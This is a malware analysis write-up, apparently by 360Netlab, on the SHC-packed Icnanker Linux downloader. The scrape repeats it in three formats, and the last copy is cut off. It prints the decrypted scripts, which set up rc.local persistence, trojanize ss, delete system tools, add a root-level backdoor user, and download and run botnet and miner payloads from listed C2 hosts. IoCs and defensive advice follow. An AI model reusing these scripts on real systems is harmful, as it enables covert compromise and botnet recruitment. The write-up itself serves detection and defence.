lockr +a /var/spool/cron/crontabs/root
lockr +i /var/spool/cron/crontabs/root
lockr +a /var/spool/cron/root
lockr +i /var/spool/cron/root
lockr +i /usr/lib/.cache/
lockr +i /usr/lib/.cache
rm -f $0
</code></pre>
<p>In this script, we can clearly see that the system commands chattr, lsattr are renamed and deleted, and the directory .cache, where mining script located,is protected, and the immutable attribute is enabled to prevent from being deleted.</p>
<h3 id="downloader5790dedae465994d179c63782e51bac1sh">Downloader (5790dedae465994d179c63782e51bac1.sh)</h3>
<pre><code class="language-bash"> －－－－－－－－－－－－from 5790dedae465994d179c63782e51bac1.sh－－－－－－－－－－
...............
echo "byicnanker 2228668564" > $Config
tempfile=`cat $Config | awk '{print $1}'`
filetemp="/usr/bin/$tempfile" #现马的路径
filename=`date +%s%N | md5sum | head -c 10`
filepath="/usr/bin/$filename" #新马的路径
tempbash=`cat $Config | awk '{print $2}'`
bashtemp="/usr/bin/$tempbash" #现脚本路径
bashname=`date +%s%N | md5sum | head -c 10`
bashpath="/usr/bin/$bashname" #新脚本路径
...............
</code></pre>
<p>This section has a typical icnanker marks, we can clearly see the icnanker logo, QQ, Chinese annotations, etc.</p>
<p>Since the script is in plain text, the functions are clear at a glance, and there are mainly 5 functions.</p>
<ul>
<li>Persistence, self-starting via re.local.</li>
</ul>
<pre><code> # by icnanker -----------------------------------------------
Repeatstart=`cat /etc/rc.local | grep 'start'| wc -l`
if [ $Repeatstart != 1 ];then
lockr -i /etc/rc.local;sed -i '/start/d' /etc/rc.local
fi
if [ -z "`cat /etc/rc.local | grep "$bashtemp"`" ]; then
if [ -z "`cat /etc/rc.local | grep "$exit0"`" ]; then
lockr -i /etc/;lockr -i /etc/rc.local
echo "$bashpath start" >> /etc/rc.local
else
lockr -i /etc/;lockr -i /etc/rc.local
sed -i "s|exit 0|$bashpath start|" /etc/rc.local
echo "exit 0">>/etc/rc.local
fi
fi
</code></pre>
<ul>
<li>Self-hiding , so that management tools such as ss, ps, netstat cannot detect the process and network connections related to the sample.</li>
</ul>
<pre><code>if [ -f /bin/ss ];then
if [ ! -f "$iss" ];then
if [ ! -f "$issbak" ];then
lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/
cp -f /bin/ss $issbak
cp -f /bin/ss $iss
else
cp -f $issbak $iss
fi
chmod 777 $iss;chmod 777 $issbak
lockr +i $issbak >/dev/null 2>&1
lockr +i $iss >/dev/null 2>&1
else
if [ ! -f "$issbak" ];then
lockr -i /usr/bin/;cp -f $iss $issbak
lockr +i $issbak >/dev/null 2>&1
fi
if [ -z "`cat /bin/ss | grep $Address`" ]; then
lockr -i /bin/;lockr -i /bin/ss
echo '#!/bin/sh' > /bin/ss
echo 'iss|grep -v "'$Address'"' >> /bin/ss
echo 'exit' >> /bin/ss
chmod 777 /bin/ss;lockr +i /bin/ss >/dev/null 2>&1
fi
fi
fi
</code></pre>
<ul>
<li>Delete some system files to increase the difficulty for repair.</li>
</ul>
<pre><code>lockr -i /usr/bin/;
lockr -i /usr/bin/wget;
rm -f /usr/bin/wget;
lockr -i /usr/bin/chattr;
rm -f /usr/bin/chattr
</code></pre>
<ul>
<li>Add new user (ntps) to facilitate subsequent control of the victim's machine</li>
</ul>
<pre><code> # by icnanker -----------------------------------------------
if [ -z "`cat /etc/passwd|grep "ntps"`" ]; then
lockr -i /etc/;lockr -i /etc/passwd #ntps
echo 'ntps:x:0:1:ntps:/root:/bin/bash' >> /etc/passwd
lockr -i /etc/;lockr +i /etc/passwd >/dev/null 2>&1
fi
if [ -z "`cat /etc/shadow|grep "ntps"`" ]; then
lockr -i /etc/;lockr -i /etc/shadow #tianyong
echo 'ntps:$6$J6RdL6Xh$udhpd5iErOxXyZSERCi0NOtoXE9J095xDRo4DJfCoTEsImcxype6iltDL8pTG7w/7Gbp9Ohrii9O.4NnxqG/h.:16583:0:99999:7:::' >> /etc/shadow
lockr -i /etc/;lockr +i /etc/shadow >/dev/null 2>&1
fi
</code></pre>
<ul>
<li>Download and execute specific samples, here it downloads the Elknot Botnet.</li>
</ul>
<pre><code> # by icnanker -----------------------------------------------
iptable=`iptables -L INPUT | grep "$Address" | grep 'ACCEPT'`
if [ -z "$iptable" ];then
iptables -I INPUT -s $Address -j ACCEPT
else
iptables -D INPUT -s $Address -j DROP
fi
process=`ips -ef | grep "$tempfile" | grep -v "grep" | wc -l`
if [ $process != 1 ];then
if [ ! -f "$filebak" ];then
lockr -i /usr/bin/;lockr -i /usr/bin/htrdpm;rm -f /usr/bin/htrdpm
cd /usr/bin/;dget http[://hfs.ubtv.xyz:22345/htrdpm
cd $path;mv -f /usr/bin/htrdpm $filepath
else
cp -f $filebak $filepath
fi
Runkillallconnect
chmod 777 $filepath
nohup $filepath >/dev/null 2>&1 &
fi
</code></pre>
<p>At this point, Icnanker will load itself when system boots and maintain continuously control of the victim secretly. At the same time, Icnanker has pretty flexible configuration. When migrating from one service to another, the author only needs to update the dns settings in the scripts.</p>
<p>Take the <strong>Elknot and Miner</strong> as examples</p>
<pre><code>elknot
ResolveIP=`nslookup [ddd.ubtv.xyz|grep "Address: "|awk '{print $2}'`
if [ -z "$ResolveIP" ];then
lockr -i /etc/;lockr -i /etc/resolv.conf
echo 'nameserver 114.114.114.114' > /etc/resolv.conf
echo 'nameserver 8.8.8.8' >> /etc/resolv.conf
echo 'nameserver 8.8.4.4' >> /etc/resolv.conf
lockr +i /etc/resolv.conf >/dev/null 2>&1
service network restart;sleep 1
Address=`nslookup ddd.ubtv.xyz|grep "Address: "|awk '{print $2}'`
else
Address="$ResolveIP"
fi
dget http[://hfs.ubtv.xyz:22345/htrdpm
-------------------------------------------VS----------------------------------------
miner
ResolveIP=`nslookup p[ool.supportxmr.com|grep "Address: "|awk '{print $2}'`
if [ -z "$ResolveIP" ];then
lockr -i /etc/;lockr -i /etc/resolv.conf
echo 'nameserver 114.114.114.114' > /etc/resolv.conf
echo 'nameserver 8.8.8.8' >> /etc/resolv.conf
echo 'nameserver 8.8.4.4' >> /etc/resolv.conf
lockr +i /etc/resolv.conf >/dev/null 2>&1
service network restart;sleep 1
Address=`nslookup p[ool.supportxmr.com|grep "Address: "|awk '{print $2}'`
else
Address="$ResolveIP"
fi
dget http[://xz.jave.xyz:22345/.xm
</code></pre>
<p>Here is a list of Downloader and theirs services currently we observed.</p>
<table>
<thead>
<tr>
<th>filename</th>
<th>md5</th>
<th>payload type</th>
<th>payload url</th>
</tr>
</thead>
<tbody>
<tr>
<td>80</td>
<td>5790dedae465994d179c63782e51bac1</td>
<td>elknot botnet</td>
<td>http[://hfs.ubtv.xyz:22345/htrdpm</td>
</tr>
<tr>
<td>.ds1;.ds2</td>
<td>6abe83ee8481b5ce0894d837eabb41df</td>
<td>miner</td>
<td>http[://xz.jave.xyz:22345/.xm</td>
</tr>
<tr>
<td>.ssh</td>
<td>89cd1ebfa5757dca1286fd925e0762de</td>
<td>elknot botnet</td>
<td>http[://hfs.ubtv.xyz:22345/htrdpm</td>
</tr>
<tr>
<td>19880</td>
<td>d989e81c4eb23c1e701024ed26f55849</td>
<td>elknot botnet</td>
<td>http[://hfs.ubtv.xyz:22345/htrdps</td>
</tr>
</tbody>
</table>
<h2 id="icnankersdistributedsamples">Icnanker's distributed samples</h2>
<p>Icnanker's distributed samples are all stored on its HFS server, and from what we have seen so far, all samples are the typical botnet families: Elknot Botnet, Xor Botnet, and XMR mining service.</p>
<ul>
<li>
<p>Elknot Botnet</p>
<table>
<thead>
<tr>
<th>filename</th>
<th>md5</th>
<th>c2</th>
</tr>
</thead>
<tbody>
<tr>
<td>htrdps</td>
<td>5c90bfbae5c030da91c9054ecb3194b6</td>
<td>ubt.ubtv.xyz:19880, jav.jave.xyz:6001</td>
</tr>
<tr>
<td>kcompact0</td>
<td>eec19f1639871b6e6356e7ee05db8a94</td>
<td>sys.jave.xyz:1764, jav.jave.xyz:6001</td>
</tr>
</tbody>
</table>
</li>
<li>
<p>Xor.DDoS Botnet</p>
<table>
<thead>
<tr>
<th>filename</th>
<th>md5</th>
<th>c2</th>
</tr>
</thead>
<tbody>
<tr>
<td>ss</td>
<td>0764da93868218d6ae999ed7bd66a98e</td>
<td>8uch.jave.xyz:3478,8uc1.jave.xyz:1987,8uc2.ubtv.xyz:2987</td>
</tr>
</tbody>
</table>
</li>
<li>
<p>Miner</p>
<table>
<thead>
<tr>
<th>filename</th>
<th>md5</th>
<th>c2</th>
</tr>
</thead>
<tbody>
<tr>
<td>sh</td>
<td>17ac3bd2753b900367cb9ee4068fe0c1</td>
<td></td>
</tr>
<tr>
<td>.xm</td>
<td>765a0899cb87400e8a27ab572f3cdd61</td>
<td></td>
</tr>
</tbody>
</table>
</li>
</ul>
<h2 id="suggestions">Suggestions</h2>
<p>We recommend that users watch for the clues we mentioned above and block the C2 on their networks,<br>
We also suggest strong login credentials should always be enforced.</p>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360netlab">twitter</a>, or email to netlab at 360 dot cn.</p>
<h2 id="ioclist">IoC list</h2>
<h3 id="samplemd5">Sample MD5</h3>
<pre><code>5790dedae465994d179c63782e51bac1
6abe83ee8481b5ce0894d837eabb41df
89cd1ebfa5757dca1286fd925e0762de
d989e81c4eb23c1e701024ed26f55849
5c90bfbae5c030da91c9054ecb3194b6
eec19f1639871b6e6356e7ee05db8a94
0764da93868218d6ae999ed7bd66a98e
17ac3bd2753b900367cb9ee4068fe0c1
765a0899cb87400e8a27ab572f3cdd61
187fa428ed44f006df0c8232be4a6e4e
</code></pre>
<h3 id="cc">CC</h3>
<pre><code>ubt.ubtv.xyz:19880 #Elknot
sys.jave.xyz:1764 #Elknot
jav.jave.xyz:6001 #Elknot
8uch.jave.xyz:3478 #Xor.DDoS
8uc1.jave.xyz:1987 #Xor.DDoS
8uc2.ubtv.xyz:2987 #Xor.DDoS
xz.jave.xyz:22345 #Icnanker HFS
</code></pre>
<!--kg-card-end: markdown--> | Background
On August 15, 2019, 360Netlab Threat Detecting System flagged an unknown ELF sample (5790dedae465994d179c63782e51bac1) which generated Elknot Botnet related network traffic. We manually took a look and noticed that it is a Trojan-Downloader which utilizes "SHC (Shell script compiler)" technique and propgrates through weak SSH credentials. The author appeared to be an old player Icnanker. Icnanker was exposed on the Internet in 2015 as a script programmer, who has a high-profile personality and likes to leave his QQ number and name in his codes. The sample, in our opinion, was not much new and therefore we did not bother to write anything.
On March 12, 2020, IntezerLab twittered about a Icnanker variant (6abe83ee8481b5ce0894d837eabb41df). They did not give much details and we figured it is probably worth writing down a few interesting features that we observed.
Overview
Icnanker is the first Linux malware family we observed that uses SHC. Its name is derived from the author's ID "by icnanker" in the script.
The current Icnanker samples can be divided into 2 categories according to their functions:
*
Protector
Protector is used to protect samples from being deleted. It is currently used to protect Mining service.
*
Downloader
Downloader is mainly used to facilitate DDos and Mining attacks. Currently its samples include Elknot Botnet, Xor Botnet and XMRMiner. On Icnanker-related HFS servers, we can see that the current download volume is at 20,114, and about 500 increment per day.
The main functions of Downloader are:
*
Persistence
*
Hide itself
*
Delete system command
*
Add new users
*
Download and execute specific samples
Reverse analysis
Let's take a look at the following two samples.
187fa428ed44f006df0c8232be4a6e4e Miner Protector,
5790dedae465994d179c63782e51bac1 Elknot Botnet Downloader.
MD5:5790dedae465994d179c63782e51bac1
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=8368ecf43c311327ed1b8e011f25b87ceef7f065, stripped
Packer: No
Verdict:Malicious,Downloader
187fa428ed44f006df0c8232be4a6e4e
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped
Packer:No
Verdict:Malicious,Protector
We know on the Windows platform, there is a technology for packaging BAT scripts into executable files, which is called Bat2Exe. Similarly, on the Linux platform,there is an open source "SHC (Shell script compiler)" that packs shell scripts into executable files. SHC uses the RC4 algorithm to encrypt the original script. The ELF file generated by it has very obvious characteristics: the RC4 decryption function is called a total of 14 times,and there are many unique strings. Security researchers can tell fairly easily whether ELF is generated by SHC.
As mentioned above, we can use the RC4 algorithm to manually extract the original script. (Another option is to use UnSHc to directly decrypt the script)
[*] Extracting each args address and size for the 14 arc4() calls with address [0x8048f65]...
[0] Working with var address at offset [0x80ed087] (0x2a bytes)
[1] Working with var address at offset [0x80ed0df] (0x1 bytes)
...............
[12] Working with var address at offset [0x80f1280] (0x13 bytes)
[13] Working with var address at offset [0x80f12b1] (0x13 bytes)
[*] Extracting password...
[+] PWD address found : [0x80f12ed]
[+] PWD size found : [0x100]
[*] Executing [__GHOST_URL__/tmp/kjGnQn] to decrypt [5790dedae465994d179c63782e51bac1]
[*] Retrieving initial source code in [5790dedae465994d179c63782e51bac1.sh]
[*] All done!
...............
[*] Executing [__GHOST_URL__/tmp/GRsVsP] to decrypt [187fa428ed44f006df0c8232be4a6e4e]
[*] Retrieving initial source code in [187fa428ed44f006df0c8232be4a6e4e.sh]
[*] All done!
Protector (187fa428ed44f006df0c8232be4a6e4e.sh)
#!/bin/bash
cp -f /usr/bin/chattr /usr/bin/lockr
cp -f /usr/bin/chattr /usr/bin/.locks
cp -f /usr/bin/.locks /usr/bin/lockr
chmod 777 /usr/bin/lockr
chmod 777 /usr/bin/.locks
lockr +i /usr/bin/lockr >/dev/null 2>&1
lockr +i /usr/bin/.locks >/dev/null 2>&1
.locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr
lockr +i /usr/bin/lockr >/dev/null 2>&1
cp -f /usr/bin/lsattr /usr/bin/lockrc
cp -f /usr/bin/lsattr /usr/bin/.locksc
cp -f /usr/bin/.locksc /usr/bin/lockrc
chmod 777 /usr/bin/lockrc
chmod 777 /usr/bin/.locksc
lockr +i /usr/bin/lockrc >/dev/null 2>&1
lockr +i /usr/bin/.locksc >/dev/null 2>&1
.locks -i /usr/bin/lockrc;chmod 777 /usr/bin/lockrc
lockr +i /usr/bin/lockrc >/dev/null 2>&1
rm -rf /usr/bin/lsattr
rm -rf /usr/bin/chattr
lockr +a /var/spool/cron/crontabs/root
lockr +i /var/spool/cron/crontabs/root
lockr +a /var/spool/cron/root
lockr +i /var/spool/cron/root
lockr +i /usr/lib/.cache/
lockr +i /usr/lib/.cache
rm -f $0
In this script, we can clearly see that the system commands chattr, lsattr are renamed and deleted, and the directory .cache, where mining script located,is protected, and the immutable attribute is enabled to prevent from being deleted.
Downloader (5790dedae465994d179c63782e51bac1.sh)
－－－－－－－－－－－－from 5790dedae465994d179c63782e51bac1.sh－－－－－－－－－－
...............
echo "byicnanker 2228668564" > $Config
tempfile=`cat $Config | awk '{print $1}'`
filetemp="/usr/bin/$tempfile" #现马的路径
filename=`date +%s%N | md5sum | head -c 10`
filepath="/usr/bin/$filename" #新马的路径
tempbash=`cat $Config | awk '{print $2}'`
bashtemp="/usr/bin/$tempbash" #现脚本路径
bashname=`date +%s%N | md5sum | head -c 10`
bashpath="/usr/bin/$bashname" #新脚本路径
...............
This section has a typical icnanker marks, we can clearly see the icnanker logo, QQ, Chinese annotations, etc.
Since the script is in plain text, the functions are clear at a glance, and there are mainly 5 functions.
* Persistence, self-starting via re.local.
# by icnanker -----------------------------------------------
Repeatstart=`cat /etc/rc.local | grep 'start'| wc -l`
if [ $Repeatstart != 1 ];then
lockr -i /etc/rc.local;sed -i '/start/d' /etc/rc.local
fi
if [ -z "`cat /etc/rc.local | grep "$bashtemp"`" ]; then
if [ -z "`cat /etc/rc.local | grep "$exit0"`" ]; then
lockr -i /etc/;lockr -i /etc/rc.local
echo "$bashpath start" >> /etc/rc.local
else
lockr -i /etc/;lockr -i /etc/rc.local
sed -i "s|exit 0|$bashpath start|" /etc/rc.local
echo "exit 0">>/etc/rc.local
fi
fi
* Self-hiding , so that management tools such as ss, ps, netstat cannot detect the process and network connections related to the sample.
if [ -f /bin/ss ];then
if [ ! -f "$iss" ];then
if [ ! -f "$issbak" ];then
lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/
cp -f /bin/ss $issbak
cp -f /bin/ss $iss
else
cp -f $issbak $iss
fi
chmod 777 $iss;chmod 777 $issbak
lockr +i $issbak >/dev/null 2>&1
lockr +i $iss >/dev/null 2>&1
else
if [ ! -f "$issbak" ];then
lockr -i /usr/bin/;cp -f $iss $issbak
lockr +i $issbak >/dev/null 2>&1
fi
if [ -z "`cat /bin/ss | grep $Address`" ]; then
lockr -i /bin/;lockr -i /bin/ss
echo '#!/bin/sh' > /bin/ss
echo 'iss|grep -v "'$Address'"' >> /bin/ss
echo 'exit' >> /bin/ss
chmod 777 /bin/ss;lockr +i /bin/ss >/dev/null 2>&1
fi
fi
fi
* Delete some system files to increase the difficulty for repair.
lockr -i /usr/bin/;
lockr -i /usr/bin/wget;
rm -f /usr/bin/wget;
lockr -i /usr/bin/chattr;
rm -f /usr/bin/chattr
* Add new user (ntps) to facilitate subsequent control of the victim's machine
# by icnanker -----------------------------------------------
if [ -z "`cat /etc/passwd|grep "ntps"`" ]; then
lockr -i /etc/;lockr -i /etc/passwd #ntps
echo 'ntps:x:0:1:ntps:/root:/bin/bash' >> /etc/passwd
lockr -i /etc/;lockr +i /etc/passwd >/dev/null 2>&1
fi
if [ -z "`cat /etc/shadow|grep "ntps"`" ]; then
lockr -i /etc/;lockr -i /etc/shadow #tianyong
echo 'ntps:$6$J6RdL6Xh$udhpd5iErOxXyZSERCi0NOtoXE9J095xDRo4DJfCoTEsImcxype6iltDL8pTG7w/7Gbp9Ohrii9O.4NnxqG/h.:16583:0:99999:7:::' >> /etc/shadow
lockr -i /etc/;lockr +i /etc/shadow >/dev/null 2>&1
fi
* Download and execute specific samples, here it downloads the Elknot Botnet.
# by icnanker -----------------------------------------------
iptable=`iptables -L INPUT | grep "$Address" | grep 'ACCEPT'`
if [ -z "$iptable" ];then
iptables -I INPUT -s $Address -j ACCEPT
else
iptables -D INPUT -s $Address -j DROP
fi
process=`ips -ef | grep "$tempfile" | grep -v "grep" | wc -l`
if [ $process != 1 ];then
if [ ! -f "$filebak" ];then
lockr -i /usr/bin/;lockr -i /usr/bin/htrdpm;rm -f /usr/bin/htrdpm
cd /usr/bin/;dget http[://hfs.ubtv.xyz:22345/htrdpm
cd $path;mv -f /usr/bin/htrdpm $filepath
else
cp -f $filebak $filepath
fi
Runkillallconnect
chmod 777 $filepath
nohup $filepath >/dev/null 2>&1 &
fi
At this point, Icnanker will load itself when system boots and maintain continuously control of the victim secretly. At the same time, Icnanker has pretty flexible configuration. When migrating from one service to another, the author only needs to update the dns settings in the scripts.
Take the Elknot and Miner as examples
elknot
ResolveIP=`nslookup [ddd.ubtv.xyz|grep "Address: "|awk '{print $2}'`
if [ -z "$ResolveIP" ];then
lockr -i /etc/;lockr -i /etc/resolv.conf
echo 'nameserver 114.114.114.114' > /etc/resolv.conf
echo 'nameserver 8.8.8.8' >> /etc/resolv.conf
echo 'nameserver 8.8.4.4' >> /etc/resolv.conf
lockr +i /etc/resolv.conf >/dev/null 2>&1
service network restart;sleep 1
Address=`nslookup ddd.ubtv.xyz|grep "Address: "|awk '{print $2}'`
else
Address="$ResolveIP"
fi
dget http[://hfs.ubtv.xyz:22345/htrdpm
-------------------------------------------VS----------------------------------------
miner
ResolveIP=`nslookup p[ool.supportxmr.com|grep "Address: "|awk '{print $2}'`
if [ -z "$ResolveIP" ];then
lockr -i /etc/;lockr -i /etc/resolv.conf
echo 'nameserver 114.114.114.114' > /etc/resolv.conf
echo 'nameserver 8.8.8.8' >> /etc/resolv.conf
echo 'nameserver 8.8.4.4' >> /etc/resolv.conf
lockr +i /etc/resolv.conf >/dev/null 2>&1
service network restart;sleep 1
Address=`nslookup p[ool.supportxmr.com|grep "Address: "|awk '{print $2}'`
else
Address="$ResolveIP"
fi
dget http[://xz.jave.xyz:22345/.xm
Here is a list of Downloader and theirs services currently we observed.
filename
md5
payload type
payload url
80
5790dedae465994d179c63782e51bac1
elknot botnet
http[://hfs.ubtv.xyz:22345/htrdpm
.ds1;.ds2
6abe83ee8481b5ce0894d837eabb41df
miner
http[://xz.jave.xyz:22345/.xm
.ssh
89cd1ebfa5757dca1286fd925e0762de
elknot botnet
http[://hfs.ubtv.xyz:22345/htrdpm
19880
d989e81c4eb23c1e701024ed26f55849
elknot botnet
http[://hfs.ubtv.xyz:22345/htrdps
Icnanker's distributed samples
Icnanker's distributed samples are all stored on its HFS server, and from what we have seen so far, all samples are the typical botnet families: Elknot Botnet, Xor Botnet, and XMR mining service.
*
Elknot Botnet
filename
md5
c2
htrdps
5c90bfbae5c030da91c9054ecb3194b6
ubt.ubtv.xyz:19880, jav.jave.xyz:6001
kcompact0
eec19f1639871b6e6356e7ee05db8a94
sys.jave.xyz:1764, jav.jave.xyz:6001
*
Xor.DDoS Botnet
filename
md5
c2
ss
0764da93868218d6ae999ed7bd66a98e
8uch.jave.xyz:3478,8uc1.jave.xyz:1987,8uc2.ubtv.xyz:2987
*
Miner
filename
md5
c2
sh
17ac3bd2753b900367cb9ee4068fe0c1
.xm
765a0899cb87400e8a27ab572f3cdd61
Suggestions
We recommend that users watch for the clues we mentioned above and block the C2 on their networks,
We also suggest strong login credentials should always be enforced.
Contact us
Readers are always welcomed to reach us on twitter, or email to netlab at 360 dot cn.
IoC list
Sample MD5
5790dedae465994d179c63782e51bac1
6abe83ee8481b5ce0894d837eabb41df
89cd1ebfa5757dca1286fd925e0762de
d989e81c4eb23c1e701024ed26f55849
5c90bfbae5c030da91c9054ecb3194b6
eec19f1639871b6e6356e7ee05db8a94
0764da93868218d6ae999ed7bd66a98e
17ac3bd2753b900367cb9ee4068fe0c1
765a0899cb87400e8a27ab572f3cdd61
187fa428ed44f006df0c8232be4a6e4e
CC
ubt.ubtv.xyz:19880 #Elknot
sys.jave.xyz:1764 #Elknot
jav.jave.xyz:6001 #Elknot
8uch.jave.xyz:3478 #Xor.DDoS
8uc1.jave.xyz:1987 #Xor.DDoS
8uc2.ubtv.xyz:2987 #Xor.DDoS
xz.jave.xyz:22345 #Icnanker HFS
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Background\n\nOn August 15, 2019, 360Netlab Threat Detecting System flagged an unknown ELF sample (5790dedae465994d179c63782e51bac1) which generated Elknot Botnet related network traffic. We manually took a look and noticed that it is a Trojan-Downloader which utilizes \"SHC (Shell script compiler)\" technique and propgrates through weak SSH credentials. The author appeared to be an old player Icnanker. Icnanker was exposed on the Internet in 2015 as a script programmer, who has a high-profile personality and likes to leave his QQ number and name in his codes. The sample, in our opinion, was not much new and therefore we did not bother to write anything.\n\nOn March 12, 2020, IntezerLab twittered about a [Icnanker](https://twitter.com/IntezerLabs/status/1238090121624379392) variant (6abe83ee8481b5ce0894d837eabb41df). They did not give much details and we figured it is probably worth writing down a few interesting features that we observed.\n \n## Overview\nIcnanker is the first Linux malware family we observed that uses [SHC](https://github.com/neurobin/shc). Its name is derived from the author's ID \"by icnanker\" in the script.\n\nThe current Icnanker samples can be divided into 2 categories according to their functions:\n* Protector\nProtector is used to protect samples from being deleted. It is currently used to protect Mining service.\n* Downloader\nDownloader is mainly used to facilitate DDos and Mining attacks. Currently its samples include Elknot Botnet, Xor Botnet and XMRMiner. On Icnanker-related HFS servers, we can see that the current download volume is at 20,114, and about 500 increment per day.\n<a href=\"__GHOST_URL__/content/images/2020/03/shc_hfs-3.png\"><img src=\"__GHOST_URL__/content/images/2020/03/shc_hfs-3.png\" class=\"kg-image\"/></a>\nThe main functions of Downloader are:\n\n* Persistence\n* Hide itself\n* Delete system command\n* Add new users\n* Download and execute specific samples\n\n\n\n## Reverse analysis\nLet's take a look at the following two samples.\n==187fa428ed44f006df0c8232be4a6e4e== Miner Protector,\n==5790dedae465994d179c63782e51bac1== Elknot Botnet Downloader.\n>MD5:5790dedae465994d179c63782e51bac1\n>\n>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=8368ecf43c311327ed1b8e011f25b87ceef7f065, stripped\n>\n>Packer: No\n>\n>**Verdict:Malicious,Downloader**\n\n>187fa428ed44f006df0c8232be4a6e4e\n>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped\n>\n>Packer:No\n>\n>**Verdict:Malicious,Protector**\n\nWe know on the Windows platform, there is a technology for packaging BAT scripts into executable files, which is called Bat2Exe. Similarly, on the Linux platform,there is an open source \"SHC (Shell script compiler)\" that packs shell scripts into executable files. SHC uses the RC4 algorithm to encrypt the original script. The ELF file generated by it has very obvious characteristics: the RC4 decryption function is called a total of 14 times,and there are many unique strings. Security researchers can tell fairly easily whether ELF is generated by SHC. \n\n <a href=\"__GHOST_URL__/content/images/2020/03/shc_flag.png\"><img src=\"__GHOST_URL__/content/images/2020/03/shc_flag.png\" class=\"kg-image\"/></a>\nAs mentioned above, we can use the RC4 algorithm to manually extract the original script. (Another option is to use [UnSHc](https://github.com/yanncam/UnSHc) to directly decrypt the script)\n```bash\n[*] Extracting each args address and size for the 14 arc4() calls with address [0x8048f65]...\n\t[0] Working with var address at offset [0x80ed087] (0x2a bytes)\n\t[1] Working with var address at offset [0x80ed0df] (0x1 bytes)\n ...............\n\t[12] Working with var address at offset [0x80f1280] (0x13 bytes)\n\t[13] Working with var address at offset [0x80f12b1] (0x13 bytes)\n[*] Extracting password...\n\t[+] PWD address found : [0x80f12ed]\n\t[+] PWD size found : [0x100]\n[*] Executing [/tmp/kjGnQn] to decrypt [5790dedae465994d179c63782e51bac1]\n[*] Retrieving initial source code in [5790dedae465994d179c63782e51bac1.sh]\n[*] All done!\n ...............\n[*] Executing [/tmp/GRsVsP] to decrypt [187fa428ed44f006df0c8232be4a6e4e]\n[*] Retrieving initial source code in [187fa428ed44f006df0c8232be4a6e4e.sh]\n[*] All done!\n\n\n```\n\n### Protector (187fa428ed44f006df0c8232be4a6e4e.sh)\n```\n#!/bin/bash\ncp -f /usr/bin/chattr /usr/bin/lockr\ncp -f /usr/bin/chattr /usr/bin/.locks\ncp -f /usr/bin/.locks /usr/bin/lockr\nchmod 777 /usr/bin/lockr\nchmod 777 /usr/bin/.locks\nlockr +i /usr/bin/lockr >/dev/null 2>&1\nlockr +i /usr/bin/.locks >/dev/null 2>&1\n.locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr\nlockr +i /usr/bin/lockr >/dev/null 2>&1\ncp -f /usr/bin/lsattr /usr/bin/lockrc\ncp -f /usr/bin/lsattr /usr/bin/.locksc\ncp -f /usr/bin/.locksc /usr/bin/lockrc\nchmod 777 /usr/bin/lockrc\nchmod 777 /usr/bin/.locksc\nlockr +i /usr/bin/lockrc >/dev/null 2>&1\nlockr +i /usr/bin/.locksc >/dev/null 2>&1\n.locks -i /usr/bin/lockrc;chmod 777 /usr/bin/lockrc\nlockr +i /usr/bin/lockrc >/dev/null 2>&1\nrm -rf /usr/bin/lsattr\nrm -rf /usr/bin/chattr\nlockr +a /var/spool/cron/crontabs/root\nlockr +i /var/spool/cron/crontabs/root\nlockr +a /var/spool/cron/root\nlockr +i /var/spool/cron/root\nlockr +i /usr/lib/.cache/\nlockr +i /usr/lib/.cache\nrm -f $0\n```\n\nIn this script, we can clearly see that the system commands chattr, lsattr are renamed and deleted, and the directory .cache, where mining script located,is protected, and the immutable attribute is enabled to prevent from being deleted.\n### Downloader (5790dedae465994d179c63782e51bac1.sh)\n```bash\n －－－－－－－－－－－－from 5790dedae465994d179c63782e51bac1.sh－－－－－－－－－－\n ...............\n echo \"byicnanker 2228668564\" > $Config\n\ttempfile=`cat $Config | awk '{print $1}'`\n\tfiletemp=\"/usr/bin/$tempfile\" #现马的路径\n\tfilename=`date +%s%N | md5sum | head -c 10`\n\tfilepath=\"/usr/bin/$filename\" #新马的路径\n\ttempbash=`cat $Config | awk '{print $2}'`\n\tbashtemp=\"/usr/bin/$tempbash\" #现脚本路径\n\tbashname=`date +%s%N | md5sum | head -c 10`\n\tbashpath=\"/usr/bin/$bashname\" #新脚本路径\n ...............\n```\nThis section has a typical icnanker marks, we can clearly see the icnanker logo, QQ, Chinese annotations, etc.\n\nSince the script is in plain text, the functions are clear at a glance, and there are mainly 5 functions.\n* Persistence, self-starting via re.local.\n```\n # by icnanker -----------------------------------------------\n Repeatstart=`cat /etc/rc.local | grep 'start'| wc -l`\n if [ $Repeatstart != 1 ];then\n \tlockr -i /etc/rc.local;sed -i '/start/d' /etc/rc.local\n fi\n if [ -z \"`cat /etc/rc.local | grep \"$bashtemp\"`\" ]; then\n \tif [ -z \"`cat /etc/rc.local | grep \"$exit0\"`\" ]; then\n \t\tlockr -i /etc/;lockr -i /etc/rc.local\n \t\techo \"$bashpath start\" >> /etc/rc.local\n \telse\n \t\tlockr -i /etc/;lockr -i /etc/rc.local\n \t\tsed -i \"s|exit 0|$bashpath start|\" /etc/rc.local\n \t\techo \"exit 0\">>/etc/rc.local\n \tfi\n fi\n```\n* Self-hiding , so that management tools such as ss, ps, netstat cannot detect the process and network connections related to the sample.\n```\nif [ -f /bin/ss ];then\n\tif [ ! -f \"$iss\" ];then\n\t\tif [ ! -f \"$issbak\" ];then\n\t\t\tlockr -i /usr/bin/;mkdir /usr/bin/dpkgd/\n\t\t\tcp -f /bin/ss $issbak\n\t\t\tcp -f /bin/ss $iss\n\t\telse\n\t\t\tcp -f $issbak $iss\n\t\tfi\n\t\tchmod 777 $iss;chmod 777 $issbak\n\t\tlockr +i $issbak >/dev/null 2>&1\n\t\tlockr +i $iss >/dev/null 2>&1\n\telse\n\t\tif [ ! -f \"$issbak\" ];then\n\t\t\tlockr -i /usr/bin/;cp -f $iss $issbak\n\t\t\tlockr +i $issbak >/dev/null 2>&1\n\t\tfi\t\n\t\tif [ -z 